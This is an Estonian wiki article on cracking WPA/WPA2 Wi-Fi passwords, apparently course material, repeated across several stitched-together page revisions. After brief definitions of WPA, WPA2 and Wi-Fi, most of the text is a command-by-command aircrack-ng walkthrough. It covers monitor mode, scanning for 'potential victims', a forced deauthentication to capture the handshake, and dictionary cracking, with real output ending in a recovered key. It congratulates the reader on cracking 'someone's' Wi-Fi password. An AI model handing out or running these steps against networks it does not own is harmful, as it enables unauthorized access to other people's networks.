*'''aireplay-ng -0 1 -a 00:24:17:6A:99:95 -c 94:44:44:0E:5A:E1 mon0''' --> väljund: 

''15:37:25 Waiting for beacon frame (BSSID: 00:24:17:6A:99:95) on channel 11 15:37:26 Sending 64 directed DeAuth. STMAC: [94:44:44:0E:5A:E1] [25|62 ACKs]'' 

Parameetrite manuaalid on vaadatavad siin: http://linux.die.net/man/1/aireplay-ng

=== Punkt 5. Kräkkimise osa! ===

==== 5.1 Katse lühikese sõnastikuga: ====

*'''aircrack-ng -w /pentest/wireless/aircrack-ng/test/password.lst -b 00:24:17:6A:99:95 psk-0*cap '''--> väljund:''' '''

Opening psk-01.cap Opening psk-02.cap Reading packets, please wait...

Aircrack-ng 1.1 r2178 [00:00:00] 233 keys tested (1532.68 k/s) Current passphrase: valhalla Master Key : B4 D8 F9 A1 70 C9 E2 3D 9C 82 7D 39 25 48 14 96 D6 DC 22 13 34 D1 05 1A EC 67 BD 5F 27 01 9C 7D

Transient Key : 83 CD 49 50 8F 52 1A 92 91 79 39 8C CD FC E8 6A 57 73 4A 7E CE 15 F3 BD 74 AF 2C B8 23 D1 6C 45 90 78 BA 33 94 B1 52 7B ED 69 88 74 41 0B E9 62 A4 22 A2 53 97 5C 5B 32 B8 21 50 C4 21 34 01 D9

EAPOL HMAC : 40 7B 06 6B C6 87 27 FB F2 FF 2B 9C A7 85 54 19

Passphrase not in dictionary 

'''Järeldus: Paroolide fail liiga lühike ja ei sisalda vajalikku parooli!''' 

==== 5.2 Juhul kui punkt 5.1 toimis ja väljund oli olemas: ====

Parool oli hoidlas olemas: root@bt:~# aircrack-ng -w /pentest/wireless/aircrack-ng/test/password.lst -b 00:24:17:6A:99:95 psk-0*cap Opening psk-01.cap Opening psk-02.cap Reading packets, please wait...

Aircrack-ng 1.1 r2178 [00:00:00] 233 keys tested (1474.16 k/s) KEY FOUND! ['''hackit123''' ] Master Key : 52 06 5C A9 B9 79 95 44 62 0B E7 66 2D 62 64 7B 35 D3 A5 06 61 D7 23 71 5C 23 20 C6 64 E8 A6 C9

Transient Key : 49 B3 7A 6A B0 96 64 19 D2 97 46 03 50 72 68 4F EF F2 D6 21 C0 AB A8 1B 49 43 9E 21 96 E3 76 9C 87 25 79 1D 35 B1 75 E6 C6 44 0D 5B 9D 18 69 9F 32 1D 67 EB DB 48 50 99 00 AB 22 F7 82 22 54 77

EAPOL HMAC : 80 89 8F 6F 3A 28 14 48 1A 7B 13 B3 0E 3F 30 E4 

Palju õnne! Oled suutnud lahti kräkkida kellegi WIFI parooli. Troubleshootide juhendid leiad aadressil [http://www.aircrack-ng.org/doku.php?id=cracking_wpa | http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 

PS! Kui parooli sõnaraamatus ei olnud, siis tuleks hankida kuskilt suurem või genereerida johntheripper-ga, suurte sõnaraamatute tekitamine võtab kaua aega ning nende läbi proovimine omakorda väga kaua aega, kõik sõltub arvuti protsessori kiirusest.

Kasutatud materjalid: 

[[www.vallaste.ee|www.vallaste.ee]] [[www.aircrack-ng.org|http://www.aircrack-ng.org/doku.php?id=cracking_wpa ]] [[www.petenetlive.com|http://www.petenetlive.com/KB/Article/0000633.htm ]] 

''' Autor: Gertti-Vena Rätsep'''

 

[[Category:Traadita_side_alused]]

WPA kräkkimine

2012-11-13T20:01:08Z

Gratsep:

== '''Mis on WPA ja WPA2?''' ==

'''WPA (Wi-Fi Protected Access)'''- Andmeturbe protokoll Wi-Fi alliansilt IEEE 802.11 standardile vastavatele raadiokohtvõrkudele (Wi-Fi võrkudele). Siin kasutatakse TKIP (Temporal Key Integrity Protocol) protokolli, et tagada tugevamat krüpteerimist kui varasema WEP protokolli puhul (WEP kasutas RC4 algoritmi, kuid WPA kasutab AES algoritmi). WPA on tuletatud IEEE 802.11i andmeturbe standardist ning kasutab autentimiseks EAP protokolli.

'''WPA2 (Wireless Protected Access 2)''' - Traadita kohtvõrgu standardile IEEE 802.11i vastav andmeturbeprotokoll aastast 2004. On turvalisem kui vahepeal kasutatud WPA protokoll, sest kasutab krüpteerimiseks TKIP asemel märksa turvalisemat AES-põhist CCMP algoritmi. Alates 2006.a. peavad kõik Wi-Fi logoga varustatud seadmed toetama WPA2 andmeturvet.

== '''Mis on WIFI?''' ==

Wi-Fi, WiFi (Wireless Fidelity) - Raadiokohtvõrk, raadio-Ethernet Wi-Fi on WECA (Wireless Ethernet Compatibility Alliance) poolt propageeritav kaubamärk, mis vastab raadiokohtvõrgu (WLAN) standardile IEEE 802.11. Tegemist on Etherneti protokolli kasutava kohtvõrguga, kus kaablid on asendatud raadiolinkidega. WiFi on ühilduv PC-kaartidega ja WiFi logot kandvate tugijaamadega Vahel kutsutakse raadiokohtvõrke ka "traadita Internetiks", kuigi tegelikult on ikkagi tegemist traadita kohtvõrkudega, mis võivad muidugi olla ühendatud ka Internetiga.

== Kuidas kräkkida WPA'd lahti? ==
Eeldus:
Backtrack 5R3 
Airmong-ng'ga kokku sobiv WIFI kaart 

=== Punkt 1. Hetkeseisu tuvastamine. ===

 Käivita '''airmong-ng''', et vaadata millised on sobivad airmong-ng'ga ühilduvad wifi-kaardid. See tagastab hetkeseisu. 

*'''airmon-ng''' 

''Interface Chipset Driver''

''wlan0 Intel 1000REV=0x6C iwlwifi - [phy0]''

=== Punkt 2. Monitooringu interface'i loomine. ===

*'''airmon-ng start wlan0 '''-->väljund:''' '''

''Interface Chipset Driver''

''wlan0 Intel 1000REV=0x6C iwlwifi - [phy0] (monitor mode enabled on mon0)''

=== Punkt 3. Potensiaalsete ohvrite otsimine: ===

Otsime BSSID'd ja kanaleid
*'''airodump-ng mon0''' --> väljund:

''CH 1 ][ BAT: 1 hour 30 mins ][ Elapsed: 4 s ][ 2012-11-13 15:18 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:24:17:6A:99:95 -31 14 1 0 '''11''' 54 WPA2 CCMP PSK SeeEiOleWIFI 20:C9:D0:19:B1:61 -70 10 0 0 2 54e. WPA2 CCMP PSK MacBook Pro's Wi-Fi Network 64:70:02:68:BC:72 -74 13 0 0 1 54e. WPA2 CCMP PSK Data BSSID STATION PWR Rate Lost Frames Probe '' 

=== Punkt 4. Ootame ja loodame, et tekib 4way-handshake. ===

*'''airodump-ng -c 11 --bssid 00:24:17:6A:99:95 wlan0'''

Kui ei teki handshake, siis tuleb see sundida. Klient tuleb sundida AP küljest lahti, et tekiks uus handshake. 

*'''aireplay-ng -0 1 -a 00:24:17:6A:99:95 -c 94:44:44:0E:5A:E1 mon0''' --> väljund: 

''15:37:25 Waiting for beacon frame (BSSID: 00:24:17:6A:99:95) on channel 11 15:37:26 Sending 64 directed DeAuth. STMAC: [94:44:44:0E:5A:E1] [25|62 ACKs]'' 

=== Punkt 5. Kräkkimise osa! ===

==== 5.1 Katse lühikese sõnastikuga: ====

*'''aircrack-ng -w /pentest/wireless/aircrack-ng/test/password.lst -b 00:24:17:6A:99:95 psk-0*cap '''--> väljund:''' '''

Opening psk-01.cap Opening psk-02.cap Reading packets, please wait...

Aircrack-ng 1.1 r2178 [00:00:00] 233 keys tested (1532.68 k/s) Current passphrase: valhalla Master Key : B4 D8 F9 A1 70 C9 E2 3D 9C 82 7D 39 25 48 14 96 D6 DC 22 13 34 D1 05 1A EC 67 BD 5F 27 01 9C 7D

Transient Key : 83 CD 49 50 8F 52 1A 92 91 79 39 8C CD FC E8 6A 57 73 4A 7E CE 15 F3 BD 74 AF 2C B8 23 D1 6C 45 90 78 BA 33 94 B1 52 7B ED 69 88 74 41 0B E9 62 A4 22 A2 53 97 5C 5B 32 B8 21 50 C4 21 34 01 D9

EAPOL HMAC : 40 7B 06 6B C6 87 27 FB F2 FF 2B 9C A7 85 54 19

Passphrase not in dictionary 

'''Järeldus: Paroolide fail liiga lühike ja ei sisalda vajalikku parooli!''' 

==== 5.2 Juhul kui punkt 5.1 toimis ja väljund oli olemas: ====

Parool oli hoidlas olemas: root@bt:~# aircrack-ng -w /pentest/wireless/aircrack-ng/test/password.lst -b 00:24:17:6A:99:95 psk-0*cap Opening psk-01.cap Opening psk-02.cap Reading packets, please wait...

Aircrack-ng 1.1 r2178 [00:00:00] 233 keys tested (1474.16 k/s) KEY FOUND! ['''hackit123''' ] Master Key : 52 06 5C A9 B9 79 95 44 62 0B E7 66 2D 62 64 7B 35 D3 A5 06 61 D7 23 71 5C 23 20 C6 64 E8 A6 C9

Transient Key : 49 B3 7A 6A B0 96 64 19 D2 97 46 03 50 72 68 4F EF F2 D6 21 C0 AB A8 1B 49 43 9E 21 96 E3 76 9C 87 25 79 1D 35 B1 75 E6 C6 44 0D 5B 9D 18 69 9F 32 1D 67 EB DB 48 50 99 00 AB 22 F7 82 22 54 77

EAPOL HMAC : 80 89 8F 6F 3A 28 14 48 1A 7B 13 B3 0E 3F 30 E4 

Palju õnne! Oled suutnud lahti kräkkida kellegi WIFI parooli. Troubleshootide juhendid leiad aadressil [http://www.aircrack-ng.org/doku.php?id=cracking_wpa http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 

PS! Kui parooli sõnaraamatus ei olnud, siis tuleks hankida kuskilt suurem või genereerida johntheripper-ga, suurte sõnaraamatute tekitamine võtab kaua aega ning nende läbi proovimine omakorda väga kaua aega, kõik sõltub arvuti protsessori kiirusest.

Kasutatud materjalid: 

[[www.vallaste.ee|www.vallaste.ee]] [[www.aircrack-ng.org|http://www.aircrack-ng.org/doku.php?id=cracking_wpa ]] [[www.petenetlive.com|http://www.petenetlive.com/KB/Article/0000633.htm ]] 

''' Autor: Gertti-Vena Rätsep'''

 

[[Category:Traadita_side_alused]]

WPA kräkkimine

2012-11-13T19:54:23Z

Gratsep:

== '''Mis on WPA ja WPA2?''' ==

'''WPA (Wi-Fi Protected Access)'''- Andmeturbe protokoll Wi-Fi alliansilt IEEE 802.11 standardile vastavatele raadiokohtvõrkudele (Wi-Fi võrkudele). Siin kasutatakse TKIP (Temporal Key Integrity Protocol) protokolli, et tagada tugevamat krüpteerimist kui varasema WEP protokolli puhul (WEP kasutas RC4 algoritmi, kuid WPA kasutab AES algoritmi). WPA on tuletatud IEEE 802.11i andmeturbe standardist ning kasutab autentimiseks EAP protokolli.

'''WPA2 (Wireless Protected Access 2)''' - Traadita kohtvõrgu standardile IEEE 802.11i vastav andmeturbeprotokoll aastast 2004. On turvalisem kui vahepeal kasutatud WPA protokoll, sest kasutab krüpteerimiseks TKIP asemel märksa turvalisemat AES-põhist CCMP algoritmi. Alates 2006.a. peavad kõik Wi-Fi logoga varustatud seadmed toetama WPA2 andmeturvet.

== '''Mis on WIFI?''' ==

Wi-Fi, WiFi (Wireless Fidelity) - Raadiokohtvõrk, raadio-Ethernet Wi-Fi on WECA (Wireless Ethernet Compatibility Alliance) poolt propageeritav kaubamärk, mis vastab raadiokohtvõrgu (WLAN) standardile IEEE 802.11. Tegemist on Etherneti protokolli kasutava kohtvõrguga, kus kaablid on asendatud raadiolinkidega. WiFi on ühilduv PC-kaartidega ja WiFi logot kandvate tugijaamadega Vahel kutsutakse raadiokohtvõrke ka "traadita Internetiks", kuigi tegelikult on ikkagi tegemist traadita kohtvõrkudega, mis võivad muidugi olla ühendatud ka Internetiga.

== Kuidas kräkkida WPA'd lahti? ==

=== Punkt 1. Hetkeseisu tuvastamine. ===

 Käivita '''airmong-ng''', et vaadata millised on sobivad airmong-ng'ga ühilduvad wifi-kaardid. See tagastab hetkeseisu. 

*'''airmon-ng''' 

''Interface Chipset Driver''

''wlan0 Intel 1000REV=0x6C iwlwifi - [phy0]''

=== Punkt 2. Monitooringu interface'i loomine. ===

*'''airmon-ng start wlan0 '''-->väljund:''' '''

''Interface Chipset Driver''

''wlan0 Intel 1000REV=0x6C iwlwifi - [phy0] (monitor mode enabled on mon0)''

=== Punkt 3. Potensiaalsete ohvrite otsimine: ===

*'''airodump-ng mon0''' --> väljund:

''CH 1 ][ BAT: 1 hour 30 mins ][ Elapsed: 4 s ][ 2012-11-13 15:18 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:24:17:6A:99:95 -31 14 1 0 11 54 WPA2 CCMP PSK SeeEiOleWIFI 20:C9:D0:19:B1:61 -70 10 0 0 2 54e. WPA2 CCMP PSK MacBook Pro's Wi-Fi Network 64:70:02:68:BC:72 -74 13 0 0 1 54e. WPA2 CCMP PSK Data BSSID STATION PWR Rate Lost Frames Probe '' 

=== Punkt 4. Ootame ja loodame, et tekib 4way-handshake. ===

*'''airodump-ng -c 11 --bssid 00:24:17:6A:99:95 wlan0'''

Kui ei teki handshake, siis tuleb see sundida. Klient tuleb sundida AP küljest lahti, et tekiks uus handshake. 

*'''aireplay-ng -0 1 -a 00:24:17:6A:99:95 -c 94:44:44:0E:5A:E1 mon0''' --> väljund: 

''15:37:25 Waiting for beacon frame (BSSID: 00:24:17:6A:99:95) on channel 11 15:37:26 Sending 64 directed DeAuth. STMAC: [94:44:44:0E:5A:E1] [25|62 ACKs]'' 

=== Punkt 5. Kräkkimise osa! ===

==== 5.1 Katse lühikese sõnastikuga: ====

*'''aircrack-ng -w /pentest/wireless/aircrack-ng/test/password.lst -b 00:24:17:6A:99:95 psk-0*cap '''--> väljund:''' '''

Opening psk-01.cap Opening psk-02.cap Reading packets, please wait...

Aircrack-ng 1.1 r2178 [00:00:00] 233 keys tested (1532.68 k/s) Current passphrase: valhalla Master Key : B4 D8 F9 A1 70 C9 E2 3D 9C 82 7D 39 25 48 14 96 D6 DC 22 13 34 D1 05 1A EC 67 BD 5F 27 01 9C 7D

Transient Key : 83 CD 49 50 8F 52 1A 92 91 79 39 8C CD FC E8 6A 57 73 4A 7E CE 15 F3 BD 74 AF 2C B8 23 D1 6C 45 90 78 BA 33 94 B1 52 7B ED 69 88 74 41 0B E9 62 A4 22 A2 53 97 5C 5B 32 B8 21 50 C4 21 34 01 D9

EAPOL HMAC : 40 7B 06 6B C6 87 27 FB F2 FF 2B 9C A7 85 54 19

Passphrase not in dictionary 

'''Järeldus: Paroolide fail liiga lühike ja ei sisalda vajalikku parooli!''' 

==== 5.2 Juhul kui punkt 5.1 toimis ja väljund oli olemas: ====

Parool oli hoidlas olemas: root@bt:~# aircrack-ng -w /pentest/wireless/aircrack-ng/test/password.lst -b 00:24:17:6A:99:95 psk-0*cap Opening psk-01.cap Opening psk-02.cap Reading packets, please wait...

Aircrack-ng 1.1 r2178 [00:00:00] 233 keys tested (1474.16 k/s) KEY FOUND! ['''hackit123''' ] Master Key : 52 06 5C A9 B9 79 95 44 62 0B E7 66 2D 62 64 7B 35 D3 A5 06 61 D7 23 71 5C 23 20 C6 64 E8 A6 C9

Transient Key : 49 B3 7A 6A B0 96 64 19 D2 97 46 03 50 72 68 4F EF F2 D6 21 C0 AB A8 1B 49 43 9E 21 96 E3 76 9C 87 25 79 1D 35 B1 75 E6 C6 44 0D 5B 9D 18 69 9F 32 1D 67 EB DB 48 50 99 00 AB 22 F7 82 22 54 77

EAPOL HMAC : 80 89 8F 6F 3A 28 14 48 1A 7B 13 B3 0E 3F 30 E4 

Palju õnne! Oled suutnud lahti kräkkida kellegi WIFI parooli. Troubleshootide juhendid leiad aadressil [http://www.aircrack-ng.org/doku.php?id=cracking_wpa http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 

PS! Kui parooli sõnaraamatus ei olnud, siis tuleks hankida kuskilt suurem või genereerida johntheripper-ga, suurte sõnaraamatute tekitamine võtab kaua aega ning nende läbi proovimine omakorda väga kaua aega, kõik sõltub arvuti protsessori kiirusest.

Kasutatud materjalid: 

[[www.vallaste.ee|www.vallaste.ee]] [[www.aircrack-ng.org|http://www.aircrack-ng.org/doku.php?id=cracking_wpa ]] [[www.petenetlive.com|http://www.petenetlive.com/KB/Article/0000633.htm ]] 

''' Autor: Gertti-Vena Rätsep'''

 

[[Category:Traadita_side_alused]]

WPA kräkkimine

2012-11-13T19:43:58Z

Gratsep:

== '''Mis on WPA ja WPA2?''' ==

'''WPA (Wi-Fi Protected Access)'''- Andmeturbe protokoll Wi-Fi alliansilt IEEE 802.11 standardile vastavatele raadiokohtvõrkudele (Wi-Fi võrkudele). Siin kasutatakse TKIP (Temporal Key Integrity Protocol) protokolli, et tagada tugevamat krüpteerimist kui varasema WEP protokolli puhul (WEP kasutas RC4 algoritmi, kuid WPA kasutab AES algoritmi). WPA on tuletatud IEEE 802.11i andmeturbe standardist ning kasutab autentimiseks EAP protokolli.

'''WPA2 (Wireless Protected Access 2)''' - Traadita kohtvõrgu standardile IEEE 802.11i vastav andmeturbeprotokoll aastast 2004. On turvalisem kui vahepeal kasutatud WPA protokoll, sest kasutab krüpteerimiseks TKIP asemel märksa turvalisemat AES-põhist CCMP algoritmi. Alates 2006.a. peavad kõik Wi-Fi logoga varustatud seadmed toetama WPA2 andmeturvet.

== '''Mis on WIFI?''' ==

Wi-Fi, WiFi (Wireless Fidelity) - Raadiokohtvõrk, raadio-Ethernet Wi-Fi on WECA (Wireless Ethernet Compatibility Alliance) poolt propageeritav kaubamärk, mis vastab raadiokohtvõrgu (WLAN) standardile IEEE 802.11. Tegemist on Etherneti protokolli kasutava kohtvõrguga, kus kaablid on asendatud raadiolinkidega. WiFi on ühilduv PC-kaartidega ja WiFi logot kandvate tugijaamadega Vahel kutsutakse raadiokohtvõrke ka "traadita Internetiks", kuigi tegelikult on ikkagi tegemist traadita kohtvõrkudega, mis võivad muidugi olla ühendatud ka Internetiga.

== Kuidas kräkkida WPA'd lahti? ==

==== Punkt 1. Hetkeseisu tuvastamine ==== 
Käivita '''airmong-ng''', et vaadata millised on sobivad airmong-ng'ga ühilduvad wifi-kaardid. See tagastab hetkeseisu. 

*'''airmon-ng''' 

''Interface Chipset Driver''

''wlan0 Intel 1000REV=0x6C iwlwifi - [phy0]'' 
===Punkt 2. Monitooringu interface'i loomine === 

*'''airmon-ng start wlan0 '''-->väljund:''' '''

''Interface Chipset Driver''

''wlan0 Intel 1000REV=0x6C iwlwifi - [phy0] (monitor mode enabled on mon0)'' 

===Punkt 3. Potensiaalsete ohvrite otsimine:=== 

*'''airodump-ng mon0''' --> väljund:

''CH 1 ][ BAT: 1 hour 30 mins ][ Elapsed: 4 s ][ 2012-11-13 15:18 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:24:17:6A:99:95 -31 14 1 0 11 54 WPA2 CCMP PSK SeeEiOleWIFI 20:C9:D0:19:B1:61 -70 10 0 0 2 54e. WPA2 CCMP PSK MacBook Pro's Wi-Fi Network 64:70:02:68:BC:72 -74 13 0 0 1 54e. WPA2 CCMP PSK Data BSSID STATION PWR Rate Lost Frames Probe '' 

Punkt 4. Ootame ja loodame, et tekib 4way-handshake. 

*'''airodump-ng -c 11 --bssid 00:24:17:6A:99:95 wlan0'''

Kui ei teki handshake, siis tuleb see sundida. Klient tuleb sundida AP küljest lahti, et tekiks uus handshake. 

*'''aireplay-ng -0 1 -a 00:24:17:6A:99:95 -c 94:44:44:0E:5A:E1 mon0''' --> väljund: 

''15:37:25 Waiting for beacon frame (BSSID: 00:24:17:6A:99:95) on channel 11 15:37:26 Sending 64 directed DeAuth. STMAC: [94:44:44:0E:5A:E1] [25|62 ACKs]'' 

5. Kräkkimise osa! 

5.1 Katse lühikese sõnastikuga: 

*'''aircrack-ng -w /pentest/wireless/aircrack-ng/test/password.lst -b 00:24:17:6A:99:95 psk-0*cap '''--> väljund:''' '''

Opening psk-01.cap Opening psk-02.cap Reading packets, please wait...

Aircrack-ng 1.1 r2178 [00:00:00] 233 keys tested (1532.68 k/s) Current passphrase: valhalla Master Key : B4 D8 F9 A1 70 C9 E2 3D 9C 82 7D 39 25 48 14 96 D6 DC 22 13 34 D1 05 1A EC 67 BD 5F 27 01 9C 7D

Transient Key : 83 CD 49 50 8F 52 1A 92 91 79 39 8C CD FC E8 6A 57 73 4A 7E CE 15 F3 BD 74 AF 2C B8 23 D1 6C 45 90 78 BA 33 94 B1 52 7B ED 69 88 74 41 0B E9 62 A4 22 A2 53 97 5C 5B 32 B8 21 50 C4 21 34 01 D9

EAPOL HMAC : 40 7B 06 6B C6 87 27 FB F2 FF 2B 9C A7 85 54 19

Passphrase not in dictionary 

'''Järeldus: Paroolide fail liiga lühike ja ei sisalda vajalikku parooli!''' 

5.2 Juhul kui punkt 5.1 toimis ja väljund oli olemas: 

Parool oli hoidlas olemas: root@bt:~# aircrack-ng -w /pentest/wireless/aircrack-ng/test/password.lst -b 00:24:17:6A:99:95 psk-0*cap
 Opening psk-01.cap Opening psk-02.cap Reading packets, please wait...

Aircrack-ng 1.1 r2178 [00:00:00] 233 keys tested (1474.16 k/s) KEY FOUND! [ hackit123 ] Master Key : 52 06 5C A9 B9 79 95 44 62 0B E7 66 2D 62 64 7B 35 D3 A5 06 61 D7 23 71 5C 23 20 C6 64 E8 A6 C9

Transient Key : 49 B3 7A 6A B0 96 64 19 D2 97 46 03 50 72 68 4F EF F2 D6 21 C0 AB A8 1B 49 43 9E 21 96 E3 76 9C 87 25 79 1D 35 B1 75 E6 C6 44 0D 5B 9D 18 69 9F 32 1D 67 EB DB 48 50 99 00 AB 22 F7 82 22 54 77

EAPOL HMAC : 80 89 8F 6F 3A 28 14 48 1A 7B 13 B3 0E 3F 30 E4 
PS! Kui parooli sõnaraamatus ei olnud, siis tuleks hankida kuskilt suurem või genereerida johntheripper-ga, suurte sõnaraamatute tekitamine võtab kaua aega ning nende läbi proovimine omakorda väga kaua aega, kõik sõltub arvuti protsessori kiirusest. 

 

Palju õnne! Oled suutnud lahti kräkkida kellegi WIFI parooli. Troubleshootide juhendid leiad aadressil [http://www.aircrack-ng.org/doku.php?id=cracking_wpa http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 

Kasutatud materjalid: 

[[Www.vallaste.ee|www.vallaste.ee]]

[http://www.aircrack-ng.org/doku.php?id=cracking_wpa http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 
[[http://www.petenetlive.com/KB/Article/0000633.htm]]

Autor: Gertti-Vena Rätsep

 

[[Category:Traadita_side_alused]]

WPA kräkkimine

2012-11-13T19:40:21Z

Gratsep:

== '''Mis on WPA ja WPA2?''' ==

'''WPA (Wi-Fi Protected Access)'''- Andmeturbe protokoll Wi-Fi alliansilt IEEE 802.11 standardile vastavatele raadiokohtvõrkudele (Wi-Fi võrkudele). Siin kasutatakse TKIP (Temporal Key Integrity Protocol) protokolli, et tagada tugevamat krüpteerimist kui varasema WEP protokolli puhul (WEP kasutas RC4 algoritmi, kuid WPA kasutab AES algoritmi). WPA on tuletatud IEEE 802.11i andmeturbe standardist ning kasutab autentimiseks EAP protokolli.

'''WPA2 (Wireless Protected Access 2)''' - Traadita kohtvõrgu standardile IEEE 802.11i vastav andmeturbeprotokoll aastast 2004. On turvalisem kui vahepeal kasutatud WPA protokoll, sest kasutab krüpteerimiseks TKIP asemel märksa turvalisemat AES-põhist CCMP algoritmi. Alates 2006.a. peavad kõik Wi-Fi logoga varustatud seadmed toetama WPA2 andmeturvet.

== '''Mis on WIFI?''' ==

Wi-Fi, WiFi (Wireless Fidelity) - Raadiokohtvõrk, raadio-Ethernet Wi-Fi on WECA (Wireless Ethernet Compatibility Alliance) poolt propageeritav kaubamärk, mis vastab raadiokohtvõrgu (WLAN) standardile IEEE 802.11. Tegemist on Etherneti protokolli kasutava kohtvõrguga, kus kaablid on asendatud raadiolinkidega. WiFi on ühilduv PC-kaartidega ja WiFi logot kandvate tugijaamadega Vahel kutsutakse raadiokohtvõrke ka "traadita Internetiks", kuigi tegelikult on ikkagi tegemist traadita kohtvõrkudega, mis võivad muidugi olla ühendatud ka Internetiga.

== Kuidas kräkkida WPA'd lahti? ==

==== Punkt 1. Hetkeseisu tuvastamine ==== 
Käivita '''airmong-ng''', et vaadata millised on sobivad airmong-ng'ga ühilduvad wifi-kaardid. See tagastab hetkeseisu. 

*'''airmon-ng''' 

''Interface Chipset Driver''

''wlan0 Intel 1000REV=0x6C iwlwifi - [phy0]'' 
===Punkt 2. Monitooringu interface'i loomine === 

*'''airmon-ng start wlan0 '''-->väljund:''' '''

''Interface Chipset Driver''

''wlan0 Intel 1000REV=0x6C iwlwifi - [phy0] (monitor mode enabled on mon0)'' 

===Punkt 3. Potensiaalsete ohvrite otsimine:=== 

*'''airodump-ng mon0''' --> väljund:

''CH 1 ][ BAT: 1 hour 30 mins ][ Elapsed: 4 s ][ 2012-11-13 15:18 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:24:17:6A:99:95 -31 14 1 0 11 54 WPA2 CCMP PSK SeeEiOleWIFI 20:C9:D0:19:B1:61 -70 10 0 0 2 54e. WPA2 CCMP PSK MacBook Pro's Wi-Fi Network 64:70:02:68:BC:72 -74 13 0 0 1 54e. WPA2 CCMP PSK Data BSSID STATION PWR Rate Lost Frames Probe '' 

Punkt 4. Ootame ja loodame, et tekib 4way-handshake. 

*'''airodump-ng -c 11 --bssid 00:24:17:6A:99:95 wlan0'''

Kui ei teki handshake, siis tuleb see sundida. Klient tuleb sundida AP küljest lahti, et tekiks uus handshake. 

*'''aireplay-ng -0 1 -a 00:24:17:6A:99:95 -c 94:44:44:0E:5A:E1 mon0''' --> väljund: 

''15:37:25 Waiting for beacon frame (BSSID: 00:24:17:6A:99:95) on channel 11 15:37:26 Sending 64 directed DeAuth. STMAC: [94:44:44:0E:5A:E1] [25|62 ACKs]'' 

5. Kräkkimise osa! 

5.1 Katse lühikese sõnastikuga: 

*'''aircrack-ng -w /pentest/wireless/aircrack-ng/test/password.lst -b 00:24:17:6A:99:95 psk-0*cap '''--> väljund:''' '''

Opening psk-01.cap Opening psk-02.cap Reading packets, please wait...

Aircrack-ng 1.1 r2178 [00:00:00] 233 keys tested (1532.68 k/s) Current passphrase: valhalla Master Key : B4 D8 F9 A1 70 C9 E2 3D 9C 82 7D 39 25 48 14 96 D6 DC 22 13 34 D1 05 1A EC 67 BD 5F 27 01 9C 7D

Transient Key : 83 CD 49 50 8F 52 1A 92 91 79 39 8C CD FC E8 6A 57 73 4A 7E CE 15 F3 BD 74 AF 2C B8 23 D1 6C 45 90 78 BA 33 94 B1 52 7B ED 69 88 74 41 0B E9 62 A4 22 A2 53 97 5C 5B 32 B8 21 50 C4 21 34 01 D9

EAPOL HMAC : 40 7B 06 6B C6 87 27 FB F2 FF 2B 9C A7 85 54 19

Passphrase not in dictionary 

'''Järeldus: Paroolide fail liiga lühike ja ei sisalda vajalikku parooli!''' 

5.2 Juhul kui punkt 5.1 toimis ja väljund oli olemas: 

Parool oli hoidlas olemas: root@bt:~# aircrack-ng -w /pentest/wireless/aircrack-ng/test/password.lst -b 00:24:17:6A:99:95 psk-0*cap Opening psk-01.cap Opening psk-02.cap Reading packets, please wait...

Aircrack-ng 1.1 r2178 [00:00:00] 233 keys tested (1474.16 k/s) KEY FOUND! [ hackit123 ] Master Key : 52 06 5C A9 B9 79 95 44 62 0B E7 66 2D 62 64 7B 35 D3 A5 06 61 D7 23 71 5C 23 20 C6 64 E8 A6 C9

Transient Key : 49 B3 7A 6A B0 96 64 19 D2 97 46 03 50 72 68 4F EF F2 D6 21 C0 AB A8 1B 49 43 9E 21 96 E3 76 9C 87 25 79 1D 35 B1 75 E6 C6 44 0D 5B 9D 18 69 9F 32 1D 67 EB DB 48 50 99 00 AB 22 F7 82 22 54 77

EAPOL HMAC : 80 89 8F 6F 3A 28 14 48 1A 7B 13 B3 0E 3F 30 E4 PS! Kui parooli sõnaraamatus ei olnud, siis tuleks hankida kuskilt suurem või genereerida johntheripper-ga, suurte sõnaraamatute tekitamine võtab kaua aega ning nende läbi proovimine omakorda väga kaua aega, kõik sõltub arvuti protsessori kiirusest. 

 

Palju õnne! Oled suutnud lahti kräkkida kellegi WIFI parooli. Troubleshootide juhendid leiad aadressil [http://www.aircrack-ng.org/doku.php?id=cracking_wpa http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 

Kasutatud materjalid: 

[[Www.vallaste.ee|www.vallaste.ee]]

[http://www.aircrack-ng.org/doku.php?id=cracking_wpa http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 

Autor: Gertti-Vena Rätsep

 

[[Category:Traadita_side_alused]]

WPA kräkkimine

2012-11-13T19:32:54Z

Gratsep:

== '''Mis on WPA ja WPA2?''' ==

'''WPA (Wi-Fi Protected Access)'''- Andmeturbe protokoll Wi-Fi alliansilt IEEE 802.11 standardile vastavatele raadiokohtvõrkudele (Wi-Fi võrkudele). Siin kasutatakse TKIP (Temporal Key Integrity Protocol) protokolli, et tagada tugevamat krüpteerimist kui varasema WEP protokolli puhul (WEP kasutas RC4 algoritmi, kuid WPA kasutab AES algoritmi). WPA on tuletatud IEEE 802.11i andmeturbe standardist ning kasutab autentimiseks EAP protokolli.

'''WPA2 (Wireless Protected Access 2)''' - Traadita kohtvõrgu standardile IEEE 802.11i vastav andmeturbeprotokoll aastast 2004. On turvalisem kui vahepeal kasutatud WPA protokoll, sest kasutab krüpteerimiseks TKIP asemel märksa turvalisemat AES-põhist CCMP algoritmi. Alates 2006.a. peavad kõik Wi-Fi logoga varustatud seadmed toetama WPA2 andmeturvet.

== '''Mis on WIFI?''' ==

